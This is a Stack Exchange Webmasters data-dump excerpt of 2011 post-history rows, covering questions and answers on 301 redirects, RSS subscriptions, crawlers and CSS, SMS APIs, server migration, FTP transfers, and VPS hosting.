  <row Id="31754" PostHistoryTypeId="1" PostId="13694" RevisionGUID="4f0dcef8-a1d6-43a6-812a-54b7ff9f30f2" CreationDate="2011-05-12T20:58:46.170" UserId="6033" Text="301 Redirect HTML Pages" />
  <row Id="31755" PostHistoryTypeId="3" PostId="13694" RevisionGUID="4f0dcef8-a1d6-43a6-812a-54b7ff9f30f2" CreationDate="2011-05-12T20:58:46.170" UserId="6033" Text="&lt;html&gt;&lt;301-redirect&gt;" />
  <row Id="31756" PostHistoryTypeId="25" PostId="13692" RevisionGUID="4bde9823-98d3-455a-b08c-9148d1b608e2" CreationDate="2011-05-12T21:11:49.760" Comment="http://twitter.com/#!/StackWebmasters/status/68785473203605504" />
  <row Id="31758" PostHistoryTypeId="2" PostId="13696" RevisionGUID="fca70e6b-6347-47d2-a739-186fc20acce8" CreationDate="2011-05-12T18:56:23.070" UserDisplayName="Jordash" Text="I use Feedburner right now to get RSS Subscribers, but I think there is too much friction with Feedburner, they require a captcha among other things.&#xD;&#xA;&#xD;&#xA;What are some good email RSS subscription options I can offer my readers?" />
  <row Id="31759" PostHistoryTypeId="1" PostId="13696" RevisionGUID="fca70e6b-6347-47d2-a739-186fc20acce8" CreationDate="2011-05-12T18:56:23.070" UserDisplayName="Jordash" Text="Best way to get RSS Email / RSS Subscribers" />
  <row Id="31760" PostHistoryTypeId="3" PostId="13696" RevisionGUID="fca70e6b-6347-47d2-a739-186fc20acce8" CreationDate="2011-05-12T18:56:23.070" UserDisplayName="Jordash" Text="&lt;rss&gt;&lt;marketing&gt;" />
  <row Id="31761" PostHistoryTypeId="17" PostId="13696" RevisionGUID="11f343a9-e3e2-4d62-913f-bd2ed7265531" CreationDate="2011-05-12T21:18:41.043" UserId="-1" Comment="from http://stackoverflow.com/questions/5982979/best-way-to-get-rss-email-rss-subscribers" Text="" />
  <row Id="31762" PostHistoryTypeId="2" PostId="13697" RevisionGUID="b6bb319a-bc68-4d0e-80be-619266655404" CreationDate="2011-05-12T21:34:47.920" UserId="6901" Text="If you want to pay for a service, you could try http://www.aweber.com/ or http://www.feedblitz.com/**(Disclaimer: I have not used these services, I just found them online)**. There are probably others out there too. &#xD;&#xA;&#xD;&#xA;Personally, I don't see what's wrong with feedburner: I use it and I have not had any problems with the captcha.&#xD;&#xA;&#xD;&#xA;Also, try feeding your rss feed to twitter and facebook: check out [twitterfeed.com][1]. A lot of readers now a days use twitter and facebook, so that might help your website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.twitterfeed.com/" />
  <row Id="31763" PostHistoryTypeId="25" PostId="13687" RevisionGUID="036b2807-c685-471d-b58c-c7f465b68fb4" CreationDate="2011-05-13T00:11:50.200" Comment="http://twitter.com/#!/StackWebmasters/status/68830774266314754" />
  <row Id="31764" PostHistoryTypeId="2" PostId="13698" RevisionGUID="17c7e18f-3d2e-4b62-9c5f-3c0a723d4964" CreationDate="2011-05-13T00:21:00.677" UserId="5806" Text="Making something **bold** makes it more important for search engine ranking and even improves readability for humans.&#xD;&#xA;&#xD;&#xA;To get the search engine ranking benefit, do we need to use `&lt;b&gt;` or `&lt;strong&gt;` tag or are CCS rules to do this recognized?&#xD;&#xA;&#xD;&#xA;**In other words, do search engine crawlers actually read and apply CSS when analyzing content?**" />
  <row Id="31765" PostHistoryTypeId="1" PostId="13698" RevisionGUID="17c7e18f-3d2e-4b62-9c5f-3c0a723d4964" CreationDate="2011-05-13T00:21:00.677" UserId="5806" Text="Do Search Engines Crawlers Read CSS?" />
  <row Id="31766" PostHistoryTypeId="3" PostId="13698" RevisionGUID="17c7e18f-3d2e-4b62-9c5f-3c0a723d4964" CreationDate="2011-05-13T00:21:00.677" UserId="5806" Text="&lt;seo&gt;&lt;css&gt;" />
  <row Id="31767" PostHistoryTypeId="2" PostId="13699" RevisionGUID="15c690e5-5c4e-4222-a56d-779038e96f88" CreationDate="2011-05-13T00:53:51.177" UserId="7462" Text="I'd like to allow users to text to a certian number in order to complete actions on their accounts. An example would be&#xD;&#xA;&#xD;&#xA;    update name with Captain&#xD;&#xA;&#xD;&#xA;Basically what I'm asking is about is a service that can receive texts and has an API so that I can use them for my site... Thanks for any help!" />
  <row Id="31768" PostHistoryTypeId="1" PostId="13699" RevisionGUID="15c690e5-5c4e-4222-a56d-779038e96f88" CreationDate="2011-05-13T00:53:51.177" UserId="7462" Text="What's the best way to implement texting into my webapp?" />
  <row Id="31769" PostHistoryTypeId="3" PostId="13699" RevisionGUID="15c690e5-5c4e-4222-a56d-779038e96f88" CreationDate="2011-05-13T00:53:51.177" UserId="7462" Text="&lt;api&gt;&lt;text&gt;" />
  <row Id="31771" PostHistoryTypeId="2" PostId="13700" RevisionGUID="e7757380-7e19-447e-bb67-c04a7165cbd1" CreationDate="2011-05-13T01:26:26.993" UserId="5851" Text="check out http://mapbox.com/, http://www.webglearth.com/, http://www.chromeexperiments.com/globe&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31775" PostHistoryTypeId="2" PostId="13702" RevisionGUID="ad457432-d423-4f65-b959-cb8bf35ae8cd" CreationDate="2011-05-13T01:47:28.797" UserId="5382" Text="The generally accepted way to emphasise text is to use the `&lt;strong&gt;` tag. You can then style that using CSS.&#xD;&#xA;&#xD;&#xA;Looking through our logs I can see _some_ evidence that some spiders fetch CSS files. Specifically,&#xD;&#xA;&#xD;&#xA; - Googlebot-Image/1.0&#xD;&#xA; - DoCoMo/2.0 (compatible; Googlebot-Mobile/2.1)&#xD;&#xA; - Googlebot (http://www.google.com/bot.html)&#xD;&#xA;&#xD;&#xA;Anecdotally there's evidence that some search engines use this to detect if text is being hidden (and therefore someone is trying to fool a search engine with bogus keywords).&#xD;&#xA;&#xD;&#xA;I think your safest bet is to use `&lt;strong&gt;` and don't rely purely on CSS to emphasise important words or phrases.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31776" PostHistoryTypeId="2" PostId="13703" RevisionGUID="19cbb58e-ffaa-4baf-bdae-5640338d3484" CreationDate="2011-05-13T01:58:14.983" UserId="1253" Text="Ideally you will send a 301 HTTP response status code. If you can't do that a meta refresh that is immediate will also work and be [counted as a 301 or 302 redirect depending on the search engine][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sebastians-pamphlets.com/google-and-yahoo-treat-undelayed-meta-refresh-as-301-redirect/" />
  <row Id="31777" PostHistoryTypeId="2" PostId="13704" RevisionGUID="78a61f0f-d0f1-4153-8233-1991e297ca03" CreationDate="2011-05-13T02:19:45.617" UserId="5382" Text="No, simply replacing the HTML with your example will not achieve the effect you're looking for. It will simply show that page to the user, since Apache will send a '200' status code along with it. Users will be able to click the link to find the page but it will not happen automatically and spiders will not know that you mean to effect a permanent redirection of the resource.&#xD;&#xA;&#xD;&#xA;You will need to use a proper _Redirect_ or _mod_rewrite_ directive in either .htaccess or your Apache _conf_ files.&#xD;&#xA;&#xD;&#xA;Alternatively, if you are actually using PHP or something similar you can set the return code to 301, output a _Location_ response header and then your page based solution will work. In PHP it would look something like this:&#xD;&#xA;&#xD;&#xA;    &lt;?&#xD;&#xA;    Header( &quot;HTTP/1.1 301 Moved Permanently&quot; );&#xD;&#xA;    Header( &quot;Location: http://www.new-url.com&quot; );&#xD;&#xA;    ?&gt; &#xD;&#xA;&#xD;&#xA;" />
  <row Id="31778" PostHistoryTypeId="2" PostId="13705" RevisionGUID="6f81b8f7-f3f4-40dd-a90f-ebae03831fde" CreationDate="2011-05-13T02:20:37.420" UserId="7464" Text="Ｔｈｅ　ｓｅａｒｃｈ　ｒｅｓｕｌｔ　ｏｆ my　Ｓｕｂｔｅｘｔ　didn't ｕｐ　ｔｏ　ｄａｔｅ，　ｓｏ　Ｉ manually deleted the segment files under App_Data folder and thought it might force the search engine to regenerate the segments.&#xD;&#xA;&#xD;&#xA;However, the search engine just stopped generating the segments, and ｎｏｗ　ｔｈｅ　ｓｅａｒｃｈ　ｒｅｓｕｌｔ　ｉｓ　ａｌｗａｙｓ　ｅｍｐｔｙ　ｒｅｇａｒｄｌｅｓｓ　ｗｈａｔ　ｋｅｙｗｏｒｄｓ　Ｉ　ｉｎｐｕt．&#xD;&#xA;&#xD;&#xA;Ｈｏｗ　ｃａｎ　Ｉ fix it? I am running it in my Visual Studio&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Sam&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31779" PostHistoryTypeId="1" PostId="13705" RevisionGUID="6f81b8f7-f3f4-40dd-a90f-ebae03831fde" CreationDate="2011-05-13T02:20:37.420" UserId="7464" Text="Lucene.net in Subtext stop generating segments" />
  <row Id="31780" PostHistoryTypeId="3" PostId="13705" RevisionGUID="6f81b8f7-f3f4-40dd-a90f-ebae03831fde" CreationDate="2011-05-13T02:20:37.420" UserId="7464" Text="&lt;subtext&gt;" />
  <row Id="31781" PostHistoryTypeId="5" PostId="13705" RevisionGUID="c653071b-7810-4003-9a22-f0c49d73a593" CreationDate="2011-05-13T02:27:21.093" UserId="1253" Comment="deleted 32 characters in body" Text="The search result of my Subtext didn't up to date, so I manually deleted the segment files under App_Data folder and thought it might force the search engine to regenerate the segments.&#xD;&#xA;&#xD;&#xA;However, the search engine just stopped generating the segments, and now the search result is always empty regardless what keywords I input.&#xD;&#xA;&#xD;&#xA;How can I fix it? I am running it in my Visual Studio&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31782" PostHistoryTypeId="5" PostId="13703" RevisionGUID="12fc9986-5362-4278-b109-ee18ba74d453" CreationDate="2011-05-13T02:41:13.917" UserId="1253" Comment="added 152 characters in body" Text="Ideally you will send a 301 HTTP response status code. If you can't do that a meta refresh that is immediate will also work and be [counted as a 301 or 302 redirect depending on the search engine][1].&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;refresh&quot; content=&quot;0;url=http://example.com/new.html&quot;&gt;&#xD;&#xA;&#xD;&#xA;The refresh rate *must* be zero for it to be considered a 30x redirect.&#xD;&#xA;&#xD;&#xA;  [1]: http://sebastians-pamphlets.com/google-and-yahoo-treat-undelayed-meta-refresh-as-301-redirect/" />
  <row Id="31783" PostHistoryTypeId="5" PostId="13705" RevisionGUID="039374a8-96c9-4cef-a4be-f81268feff78" CreationDate="2011-05-13T02:47:11.927" UserId="7464" Comment="added 142 characters in body; deleted 2 characters in body" Text="The search result of my Subtext didn't up to date, so I manually deleted the segment files under App_Data folder and thought it might force the search engine to regenerate the segments.&#xD;&#xA;&#xD;&#xA;However, the search engine just stopped generating the segments, and now the search result is always empty regardless what keywords I input.&#xD;&#xA;&#xD;&#xA;How can I fix it? I am running it in my Visual Studio&#xD;&#xA;&#xD;&#xA;=================================&#xD;&#xA;&#xD;&#xA;Ohhh.. I　must be blind. There is a rebuild index button in the backend.&#xD;&#xA;&#xD;&#xA;Please ignore this question." />
  <row Id="31784" PostHistoryTypeId="2" PostId="13706" RevisionGUID="1a5611df-5688-4611-8316-62dd99a38e6e" CreationDate="2011-05-13T02:50:22.523" UserId="1010" Text="I haven't used it, but [Twilio](http://www.twilio.com/sms/) provides a web-service based API for a number of phone functions, including SMS.  [Pricing seems sane](http://www.twilio.com/pricing/) as well." />
  <row Id="31785" PostHistoryTypeId="2" PostId="13707" RevisionGUID="f99e14b7-6e61-4880-aa72-c6f49c8592b2" CreationDate="2011-05-13T02:54:04.340" UserId="7405" Text="Agree with Hissohathair in that your approach will not actually redirect.  Users may know to click the link, but the original page will still return a normal '200' status code and continue to show up on search results (probably not quite what you want).&#xD;&#xA;&#xD;&#xA;In order to maintain page rank, 301 status codes are extremely important.  Adding meta refresh tags is also a good option and may help in most cases (as per John's response), but you may not be guaranteed that the search engines will accept it as a 301 redirect in the future.  Adding proper redirects to your .htaccess (or Apache conf files) would be your best option in order to guarantee the 301 status code is being sent.&#xD;&#xA;&#xD;&#xA;Another alternative if your web host does not have .htaccess/mod_rewrite capabilities might be to change the web host you are using where you can setup server-side redirects.  As long as the site is properly moved, it should be fairly seamless to your users.  This approach would only be for extreme cases if maintaining page rank is highly critical." />
  <row Id="31786" PostHistoryTypeId="25" PostId="13698" RevisionGUID="645aa607-d9dc-4cc5-9f22-c1533246894d" CreationDate="2011-05-13T03:11:51.367" Comment="http://twitter.com/#!/StackWebmasters/status/68876077325500416" />
  <row Id="31787" PostHistoryTypeId="2" PostId="13708" RevisionGUID="fd4f6985-57d6-414e-9104-37c1e23c491c" CreationDate="2011-05-13T03:16:56.493" UserId="7315" Text="I implemented a webservice with node.js and want to test its response time. I don't just want to do the test one, time but I want statistics about multiple connection attempts, telling me the average response time and maybe even things like standard deviation and min/max. &#xD;&#xA;" />
  <row Id="31788" PostHistoryTypeId="1" PostId="13708" RevisionGUID="fd4f6985-57d6-414e-9104-37c1e23c491c" CreationDate="2011-05-13T03:16:56.493" UserId="7315" Text="What is the easiest and fastest way to get statistics of a webservice response time?" />
  <row Id="31789" PostHistoryTypeId="3" PostId="13708" RevisionGUID="fd4f6985-57d6-414e-9104-37c1e23c491c" CreationDate="2011-05-13T03:16:56.493" UserId="7315" Text="&lt;statistics&gt;&lt;ping&gt;" />
  <row Id="31790" PostHistoryTypeId="5" PostId="13708" RevisionGUID="bcadf020-0a77-4e03-9787-d70d7c543bbc" CreationDate="2011-05-13T03:30:25.273" UserId="7315" Comment="added 8 characters in body; added 49 characters in body" Text="I implemented a webservice with node.js and want to test its response time. I don't just want to do the test with one connection attempt, but I want statistics about multiple attempts, telling me the average response time and maybe even things like standard deviation and min/max. &#xD;&#xA;&#xD;&#xA;What is a good tool or webservice to do this?&#xD;&#xA;" />
  <row Id="31791" PostHistoryTypeId="5" PostId="13707" RevisionGUID="21692126-5aee-4488-bb71-7faa6eacfbb2" CreationDate="2011-05-13T03:35:25.147" UserId="7405" Comment="Added info in the original reply about IIS7 redirects." Text="Agree with Hissohathair in that your approach will not actually redirect.  Users may know to click the link, but the original page will still return a normal '200' status code and continue to show up on search results (probably not quite what you want).&#xD;&#xA;&#xD;&#xA;In order to maintain page rank, 301 status codes are extremely important.  Adding meta refresh tags is also a good option and may help in most cases (as per John's response), but you may not be guaranteed that the search engines will accept it as a 301 redirect in the future.  Adding proper redirects to your .htaccess (or Apache conf files) would be your best option in order to guarantee the 301 status code is being sent.&#xD;&#xA;&#xD;&#xA;**Edit:**&#xD;&#xA;&#xD;&#xA;=======================&#xD;&#xA;&#xD;&#xA;For an IIS7 website, as long as the IIS URL Rewrite module is installed, you can create redirect rules in the web.config for the site.  These rules would apply to .html files as well.  More info here:&#xD;&#xA;&#xD;&#xA;http://learn.iis.net/page.aspx/461/creating-rewrite-rules-for-the-url-rewrite-module/&#xD;&#xA;&#xD;&#xA;=======================&#xD;&#xA;&#xD;&#xA;Another alternative if your web host does not have .htaccess/mod_rewrite capabilities might be to change the web host you are using where you can setup server-side redirects.  As long as the site is properly moved, it should be fairly seamless to your users.  This approach would only be for extreme cases if maintaining page rank is highly critical.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31792" PostHistoryTypeId="2" PostId="13709" RevisionGUID="b0a77f1f-d17a-45a9-ba09-708f3d0f78a5" CreationDate="2011-05-13T03:38:51.413" UserId="-1" Text="" />
  <row Id="31793" PostHistoryTypeId="2" PostId="13710" RevisionGUID="661e0256-d0f5-46e0-9f33-e18730e45496" CreationDate="2011-05-13T03:38:51.413" UserId="-1" Text="" />
  <row Id="31794" PostHistoryTypeId="2" PostId="13711" RevisionGUID="77d7a034-3b37-4d76-821b-ba484b5f4690" CreationDate="2011-05-13T03:54:37.330" UserId="2044" Text="I would like to gather informations about the basic stuffs that we should have a look and backup before changing our hosting server.&#xD;&#xA;&#xD;&#xA;i.e Suppose my source website [Outsoucing Nepal][1] is being hosted in specific ip[eg. 192.168.1.1] of other people/provider. I do have username and password to access its cpanel. &#xD;&#xA;&#xD;&#xA;No i do like to transfer it to my own hosting server in different ip. I do have username and password to access its cpanel too.&#xD;&#xA;&#xD;&#xA;**Now what are the things to be consider before changing hosting server?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://outsourcingnepal.com" />
  <row Id="31795" PostHistoryTypeId="1" PostId="13711" RevisionGUID="77d7a034-3b37-4d76-821b-ba484b5f4690" CreationDate="2011-05-13T03:54:37.330" UserId="2044" Text="Stuffs to notice before changing hosting server" />
  <row Id="31796" PostHistoryTypeId="3" PostId="13711" RevisionGUID="77d7a034-3b37-4d76-821b-ba484b5f4690" CreationDate="2011-05-13T03:54:37.330" UserId="2044" Text="&lt;web-hosting&gt;&lt;transfer&gt;" />
  <row Id="31797" PostHistoryTypeId="5" PostId="12982" RevisionGUID="81b95c53-e154-47fb-8b7e-ae857f630c09" CreationDate="2011-05-13T03:57:53.880" UserId="2044" Comment="added 162 characters in body" Text="How can i transfer files from one server http://abc.com to next server http://xyz.com&#xD;&#xA;&#xD;&#xA;I do have the ftp passwords of http://abc.com [source server] and destination server.&#xD;&#xA;&#xD;&#xA;Which tool can be used?&#xD;&#xA;&#xD;&#xA;Edit:&#xD;&#xA;&#xD;&#xA;**Instead of downloading files from source server to computer and again uploading from computer to destination server isn't there any shortcut way?**" />
  <row Id="31798" PostHistoryTypeId="2" PostId="13712" RevisionGUID="1e09ba53-2afa-40fd-9bf7-32749b2e3adf" CreationDate="2011-05-13T05:07:34.243" UserId="5718" Text="If you have SSH access to the source server then you can login to it and use the `ftp` command to start an ftp session with the destination server. You would need to use the command line to type in the ftp commands but it's not too hard and you can find tutorials online about it. For example: http://linux.about.com/od/commands/l/blcmdl1_ftp.htm&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31799" PostHistoryTypeId="25" PostId="13699" RevisionGUID="89f84108-98e3-4e78-8ba7-e16e51ffb8e7" CreationDate="2011-05-13T06:11:52.583" Comment="http://twitter.com/#!/StackWebmasters/status/68921380527280128" />
  <row Id="31800" PostHistoryTypeId="2" PostId="13713" RevisionGUID="875eec26-039e-4cf2-bbf8-84985cc82f98" CreationDate="2011-05-12T20:27:12.127" UserDisplayName="Andrei Stanca" Text="Ok, so I've had it with godaddy. What I need from you is a recommandation of a web hosting company that has php imap extension enabled and even if it has this extension enabled, the ports won't be blocked (i've run into 1 host with this problem ... i could use php imap function but... connection timed out ). Bassically I want to make use of osTicket and write an app that retreieves emails from google accounts using imap/pop3. I am only askingthis here because I want to be sure that php imap functions are working as it should, not be enabled, but the ports blocked ( which is useless ). &#xD;&#xA;PS: i don`t want to rent a whole server computer. I just need a standard hosting account ( maybe with cpanel ). Thank you." />
  <row Id="31801" PostHistoryTypeId="1" PostId="13713" RevisionGUID="875eec26-039e-4cf2-bbf8-84985cc82f98" CreationDate="2011-05-12T20:27:12.127" UserDisplayName="Andrei Stanca" Text="Webhost ( linux shared ) which has php imap extension enabled and ports not blocked" />
  <row Id="31802" PostHistoryTypeId="3" PostId="13713" RevisionGUID="875eec26-039e-4cf2-bbf8-84985cc82f98" CreationDate="2011-05-12T20:27:12.127" UserDisplayName="Andrei Stanca" Text="&lt;php&gt;&lt;hosting&gt;&lt;gmail&gt;" />
  <row Id="31803" PostHistoryTypeId="17" PostId="13713" RevisionGUID="cbcb09b2-3e21-48f1-8793-c9f6c1f5a8f8" CreationDate="2011-05-13T07:05:49.797" UserId="-1" Comment="from http://stackoverflow.com/questions/5984052/webhost-linux-shared-which-has-php-imap-extension-enabled-and-ports-not-block" Text="" />
  <row Id="31804" PostHistoryTypeId="2" PostId="13714" RevisionGUID="64d94fee-0f17-4b36-92d8-e955b921b030" CreationDate="2011-05-13T08:38:18.863" UserId="7470" Text="I suggest that you think about a VPS system. It's a step between a shared host and a dedicated host with the price in the middle. It's a pain to learn how to set them up but once you get over that hurdle, you don't really have to worry about ports being blocked etc.&#xD;&#xA;" />
  <row Id="31806" PostHistoryTypeId="5" PostId="9906" RevisionGUID="4d4ba2e7-a8d6-4936-b47f-78bba17fa166" CreationDate="2011-05-13T08:51:24.107" UserId="1588" Comment="added 40 characters in body; edited title" Text="Are there any stats for web usage which have attempted to measure how many users in a given country use Google.**com** and how many use the local Google (e.g. Google.**co.uk**)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31807" PostHistoryTypeId="4" PostId="9906" RevisionGUID="4d4ba2e7-a8d6-4936-b47f-78bba17fa166" CreationDate="2011-05-13T08:51:24.107" UserId="1588" Comment="added 40 characters in body; edited title" Text="Are there any stats for local Google v. Google.com usage?" />
  <row Id="31808" PostHistoryTypeId="2" PostId="13716" RevisionGUID="9ed2db63-42fc-42ee-b030-608e3e8df4f7" CreationDate="2011-05-13T08:53:33.777" UserId="4502" Text="In general there's probably not too much reason for doing this, but yes there can be some cases where it might make sense. For example, reaching specific markets. &#xD;&#xA;&#xD;&#xA;I know of a software company that produces a hosted CMS which has its own site; it's a general-purpose app and anyone can wander by, sign up, and build a site with it. But I also found two other domains they were running, which also offered CMS services. They were almost identical to the first one in overall layout, sections, app features, etc. but the branding and promotional messaging were particularly targeted to religious organizations on one, and I think the other was for non-profits(it's been a while since I've seen them).&#xD;&#xA;&#xD;&#xA;Looking through the product tours and screenshots, it was clear they'd basically white-labeled their CMS and maybe tweaked the feature set a bit for each use; the product levels and pricing were slightly different across the sites. This sort of thing would also let them offer much more targeted template designs eg. for church groups that might've seemed a bit out of place in a more general audience scenario." />
  <row Id="31810" PostHistoryTypeId="2" PostId="13717" RevisionGUID="097f7661-9667-4647-a4f5-6d869f1d05a1" CreationDate="2011-05-13T09:10:20.967" UserId="1588" Text="I know there are lots of answers both here (e.g. [this][1] and [this][2]) and elsewhere which deal with subdomains and their impact on SEO. However, often the questioners are either asking about subdomain versus subdirectories, or they have an existing well trafficked main domain and are asking how introducing a subdomain will impact their existing site.&#xD;&#xA;&#xD;&#xA;Our question is simpler than that.&#xD;&#xA;&#xD;&#xA;If we are starting a website from scratch today, and we're worried about ranking well in SERPs for two keywords **xxx** and **yyy**, is there any disadvantage to using a subdomain as in:&#xD;&#xA;&#xD;&#xA;    xxx.yyy.com&#xD;&#xA;&#xD;&#xA;versus&#xD;&#xA;&#xD;&#xA;    xxxyyy.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory&#xD;&#xA;  [2]: http://webmasters.stackexchange.com/questions/13220/domain-subdomain-and-ranking" />
  <row Id="31811" PostHistoryTypeId="1" PostId="13717" RevisionGUID="097f7661-9667-4647-a4f5-6d869f1d05a1" CreationDate="2011-05-13T09:10:20.967" UserId="1588" Text="Starting from scratch xxx.yyy.com or www.xxxyyy.com (any SEO difference?)" />
  <row Id="31812" PostHistoryTypeId="3" PostId="13717" RevisionGUID="097f7661-9667-4647-a4f5-6d869f1d05a1" CreationDate="2011-05-13T09:10:20.967" UserId="1588" Text="&lt;seo&gt;&lt;domains&gt;&lt;subdomain&gt;" />
  <row Id="31813" PostHistoryTypeId="25" PostId="13694" RevisionGUID="571f2dc9-8b94-4f2a-9d2d-1bb5373b552a" CreationDate="2011-05-13T09:11:52.823" Comment="http://twitter.com/#!/StackWebmasters/status/68966680570761216" />
  <row Id="31814" PostHistoryTypeId="2" PostId="13718" RevisionGUID="878fa921-e5dc-470e-8d00-d17c6d486445" CreationDate="2011-05-13T09:13:03.590" UserId="1643" Text="I think xxx.yyy.com confuses people, they are used to almost always just having to type something. Search engines can spot that xxxyyy is in fact two keywords so isn't a drawback." />
  <row Id="31815" PostHistoryTypeId="2" PostId="13719" RevisionGUID="ce1508af-0b16-4bb8-b907-0b3d5dc61de3" CreationDate="2011-05-13T09:13:41.810" UserId="1643" Text="You need to find an FTP program that supports the FXP protocol and your two servers need to support it too: http://www.smartftp.com/support/kb/what-is-fxp-f14.html" />
  <row Id="31816" PostHistoryTypeId="2" PostId="13720" RevisionGUID="c0948945-e46d-4e04-801e-c9d073075800" CreationDate="2011-05-13T09:35:10.467" UserId="1588" Text="Is there a tool or browser add-on which will overlay images with their filename and/or alt tag? Without needing to mouse over each one.&#xD;&#xA;&#xD;&#xA;Something like this made up example:&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/D8RdO.jpg&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31817" PostHistoryTypeId="1" PostId="13720" RevisionGUID="c0948945-e46d-4e04-801e-c9d073075800" CreationDate="2011-05-13T09:35:10.467" UserId="1588" Text="Is there a tool or browser add-on which will overlay images with their filename?" />
  <row Id="31818" PostHistoryTypeId="3" PostId="13720" RevisionGUID="c0948945-e46d-4e04-801e-c9d073075800" CreationDate="2011-05-13T09:35:10.467" UserId="1588" Text="&lt;images&gt;&lt;tools&gt;" />
  <row Id="31819" PostHistoryTypeId="2" PostId="13721" RevisionGUID="0f6c6002-04ec-4d86-b42a-baa3a6a62c71" CreationDate="2011-05-13T09:43:13.277" UserId="7198" Text="You could use an app like &lt;a href=&quot;http://www.webdrive.com/products/webdrive/index.html&quot;&gt;WebDrive,&lt;/a&gt; which mounts remote FTP drives as if they were local drives (called a 'virtual drive'), then simply drag and drop the files from one virtual drive to the other on your own machine.&#xD;&#xA;&#xD;&#xA;**How it works**  &#xD;&#xA;&#xD;&#xA; 1. Download &lt;a href=&quot;http://www.webdrive.com/products/webdrive/&quot;&gt;WebDrive here.&lt;/a&gt; (Mac or Windows, free 20-day trial)&#xD;&#xA; 2. Put in the FTP details for your 'http://abc.com' server to create the first virtual drive.&#xD;&#xA; 3. Put in the FTP details for your 'http://xyz.com' server to create the second virtual drive.&#xD;&#xA; 4. Browse to the files you want to copy on the first virtual drive, and drag them to the second virtual drive.&#xD;&#xA;&#xD;&#xA;WebDrive will copy them from the first FTP location to your machine (you don't see this step; it happens in the background), then copy them to the second FTP location for you. This is the closest you'll get to copying directly between FTP servers, without using the FXP protocol, which isn't widely supported yet.&#xD;&#xA;&#xD;&#xA;**WebDrive alternatives**  &#xD;&#xA;In addition to WebDrive, you might also like to consider &lt;a href=&quot;http://panic.com/transmit/&quot;&gt;Transmit&lt;/a&gt; (Mac only) or &lt;a href=&quot;http://www.expandrive.com/&quot;&gt;Expandrive&lt;/a&gt; (Mac and Windows), which both offer the same remote disk mounting feature. (I use Transmit's Disk feature every day to save optimised images directly to the FTP server straight from Photoshop/Fireworks. It's great, but Expandrive and WebDrive both do this too.)" />
  <row Id="31820" PostHistoryTypeId="2" PostId="13722" RevisionGUID="979dfbcd-71ae-480d-8aba-75de4ea5d506" CreationDate="2011-05-13T09:53:06.207" UserId="4502" Text="The &lt;a href=&quot;http://chrispederick.com/work/web-developer/&quot;&gt;Web Developer toolbar&lt;/a&gt; has items under its Images menu to display the image alt, dimensions, path(which will include the filename, but there's not an option for *just* the filename), filesize, and a lot of other stuff. There's also an item(View Image Information) that will pop open a new tab with just the images from the current layout, and a bunch of basic information about them. &#xD;&#xA;&#xD;&#xA;The items to display properties don't overlay exactly as you describe. They tend to push the images around a little because they're placed into the page, but otherwise the toolbar does everything you want and a *lot* more. If you're not feeling terribly picky about the overlay, I'd just go with it.&#xD;&#xA;" />
  <row Id="31821" PostHistoryTypeId="2" PostId="13723" RevisionGUID="898fe5b1-680b-4961-a3dd-130be3325384" CreationDate="2011-05-13T09:57:45.847" UserId="1643" Text="Cpanel allows you to do a &quot;full&quot; backup, as it says on my version, 11.28.87-RELEASE_51188:&#xD;&#xA;&#xD;&#xA;&gt; A full backup includes all of the&#xD;&#xA;&gt; files in your home directory, your&#xD;&#xA;&gt; MySQL Databases, and your email&#xD;&#xA;&gt; forwarders and filters. You can backup&#xD;&#xA;&gt; your account to preserve your data or&#xD;&#xA;&gt; use a backup file to move your account&#xD;&#xA;&gt; to another cPanel server.&#xD;&#xA;&#xD;&#xA;However it's probably worth going through all the screens to see what you've got configured as that doesn't seem to include all your settings, such as cron jobs." />
  <row Id="31822" PostHistoryTypeId="17" PostId="13725" RevisionGUID="902b24de-37b7-4a52-9f5d-aadc1ee2b2ec" CreationDate="2011-05-13T10:26:11.883" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/76071/if-my-web-application-is-under-a-server-will-it-perform-better-than-if-it-is-unde/76073#76073" Text="" />
  <row Id="31823" PostHistoryTypeId="17" PostId="13726" RevisionGUID="4ba0c120-7020-4af3-b87a-3e96c5637bc0" CreationDate="2011-05-13T10:26:11.883" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/76071/if-my-web-application-is-under-a-server-will-it-perform-better-than-if-it-is-unde/76075#76075" Text="" />
  <row Id="31824" PostHistoryTypeId="17" PostId="13727" RevisionGUID="8ac62609-5d28-48ec-9cfb-52f677d448b8" CreationDate="2011-05-13T10:26:11.883" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/76071/if-my-web-application-is-under-a-server-will-it-perform-better-than-if-it-is-unde/76077#76077" Text="" />
  <row Id="31825" PostHistoryTypeId="2" PostId="13725" RevisionGUID="8c793747-dc53-4f44-b01f-48f94e29ce77" CreationDate="2011-05-13T09:59:13.750" UserDisplayName="pdr" Text="Assuming the same hardware allocation, a server will always be slightly more efficient than a VPS. But virtualisation software has become very good in recent years; the difference is no longer massive.&#xD;&#xA;&#xD;&#xA;The advantage VPS has over shared hosting is that if **someone else's** application brings their VPS down then it doesn't affect yours. In shared hosting, one person can bring down a whole server full of applications.&#xD;&#xA;&#xD;&#xA;The advantage VPS has over a dedicated server is purely price." />
